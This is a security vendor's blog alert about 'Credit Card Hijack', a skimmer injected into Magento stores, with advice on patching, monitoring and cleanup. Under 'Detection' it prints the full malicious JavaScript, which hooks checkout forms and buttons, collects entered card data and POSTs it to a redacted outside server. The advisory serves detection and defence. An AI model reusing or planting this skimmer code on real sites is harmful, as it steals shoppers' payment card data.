logo.png
Guided Website Threat Review

Foregenix Blog

Benjamin Hosack

Magento Malware: Credit Card Hijack – Malicious Javascript Alert

Our forensic team have just wrapped up a forensic investigation on an e-commerce business that has had a considerable number of customer data stolen – including credit card data. This latest Magento malware attack involved a malicious Javascript – recently announced by Magento on the 16th November 2015.

Magento malwareThe malicious code has been called “Credit Card Hijack” and it is injected into Magento websites allowing attackers to steal customer payment data – including all key credit card details required to carry out a transaction.

How does it work?

The malicious Magento malware is uploaded to a vulnerable site – the vulnerability in the case we just completed was Shoplift (see our alert on Magento Shoplift from February 2015); however, over the last year there have been a significant number of breaches involving multiple attack vectors (Filesman, P.A.S, Phantom, compromised plugins and more).

With the malicious Javascript uploaded to the Magento website, every form field on the website is monitored. When payment card data is detected, it is encrypted and sent out immediately to a receiving email address.

How do you prevent, detect and/or fix this issue?

Prevention
  • Patch your website – make sure you are using the latest version of Magento. This will make it considerably harder to compromise your website.
  • File Change Monitoring – make sure you know exactly what changes are being made to your website every day. If changes are not recognised, they could be a strong indicator of attacker activity.
  • Web Application Firewall – if you are not yet using a WAF on your website, we would highly recommend you implement one asap. Especially if you not able to apply patches in a timely manner. If correctly configured, it will also filter out the vast majority of aggressive traffic from ever touching your website. If you need help with this, we offer a managed WAF through our FGX-Web Protect service.
  • Malware detection – daily checks for malware on your website will alert you to files that look suspicious – such as webshells, backdoors, harvesting malware and so on. If you need help, our FGX-Web website security solution includes on demand and scheduled malware checking for all clients.
Detection

FGX-Web will very soon be able to detect the malicious javascript, however, this is an example of the code recently found: 

+function validateCreditCard(s) {

+   // remove non-numerics

+   var v = "0123456789";

+   var w = "";

+   for (i=0; i < s.length; i++) {

+       x = s.charAt(i);

+       if (v.indexOf(x,0) != -1)

+       w += x;

+   }

+   // validate number

+   j = w.length / 2;

+   k = Math.floor(j);

+   m = Math.ceil(j) - k;

+   c = 0;

+   for (i=0; i<k; i++) {

+       a = w.charAt(i*2+m) * 2;

+       c += a > 9 ? Math.floor(a/10 + a%10) : a;

+   }

+   for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;

+   return (c%10 == 0);

+}

+var snd =null;

+window.onload = function () {

+   if((new RegExp('onepage')).test(window.location)) {

+       send();

+

+   }

+};

+

+function clk() {

+   var inp=document.querySelectorAll("input, select, textarea, checkbox");

+   for (var i=0;i<inp.length;i++){

+       if(inp[i].value.length>0) {

+       var nme=inp[i].name;

+       if(nme=='') { nme=i; }

+       snd+=inp[i].name+'='+inp[i].value+'&';

+       }

+   }

+

+}

+

+function send() {

+ var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");

+   for (var i=0;i<btn.length;i++){

+       var b=btn[i];

+       if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {

+           if(b.addEventListener) {

+               b.addEventListener("click", clk, false);

+           }else {

+               b.attachEvent('onclick', clk);

+           }

+       }

+   }

+f+   var frm=document.querySelectorAll("form");

+   for (var i=0;i<frm.length;i++){

+       if(frm[i].addEventListener) {

+           frm[i].addEventListener("submit", clk, false);

+       }else {

+           frm[i].attachEvent('onsubmit', clk);

+       }

+   }

+

+   if(snd!=null) {

+       console.clear();

+       var cc = new RegExp("[0-9]{13,16}");

+              var asd="0";

+       if(cc.test(snd)){

+                 asd="1" ;

+         }

+var http = new XMLHttpRequest();

+http.open("POST","https://************/*******”,true);

+http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

+http.send("data="+snd+"&asd="+asd+"&id_id=merchant.co.uk");

+console.clear();

+   }

+   snd=null;

+   setTimeout('send()', 150);

+}

Fix
  • Implement a solution like FGX-Web to protect your website.
  • Scan your website using WebScan – this will tell you the patching state of your website.
  • Apply all the patches.Magento website security scan
  • Update passwords – implement 2 Factor Authentication if possible.
  • Remove any unknown accounts.
  • Scan for malware using FGX-Web – if you get alerts, call our support team for help.

Review our blog - 11 steps to Improve your Website Security for more comprehensive list of security controls and simple steps you can take to improve your security.

All Foregenix FGX-Web clients have full support provided by our team, so if you are concerned about your website security, please don’t hesitate to contact us. 

TRENDING POSTS

Duncan Slater
Alert: Major UK Payment Service Provider iFrame Man-In-The-Middle Breach

The Foregenix Digital Forensics and Incident Response Team recently reported a man-in-the-middle ...

Read More
Kirsty Trainer
The "Key" to Secure Data - P2PE - Derived Unique Key Per Transaction (DUKPT)

Written by Andrew McKenna, PCI QSA, PCIP at Foregenix The encryption key infrastructure usually ...

Read More

Cyber Security Insights

Alex Constantinou
15/06/17 10:34

Password Manager OneLogin breached.

With the amount of websites and services which require passwords for authentication increasing, it can be difficult at times to remember all our ...

Read More

Ewan Gardner
01/06/17 12:20

General Data Protection Regulation (GDPR) is coming. Don't bury your head in the sand.

What does May 25th 2017 mean to you? The 40th anniversary of Star Wars being released in cinemas? The 78th birthday of celebrated actor Sir Ian ...

Read More

Duncan Slater
26/05/17 14:08

“Mind the Gap” – As a Small eCommerce Business, Who is Responsible for Your Security?

  Major corporations spend hundreds of thousands of pounds and in some cases employ teams of people dedicated to manage and ensure the security of ...

Read More

Kirsty Trainer
23/05/17 10:48

8 Critical Steps to Reduce the Risk of Ransomware Infection

The WannaCry ransomware infestation is a wake-up call for all entities connected to public networks, such as the internet, to recognise ...

Read More

Mike Hinton
16/05/17 17:24

Foregenix announce new partnership with Juno Web Design

We’re delighted to announce a new partnership between ourselves and Nottinghamshire based agency ‘Juno’. With the rapidly increasing threat to ...

Read More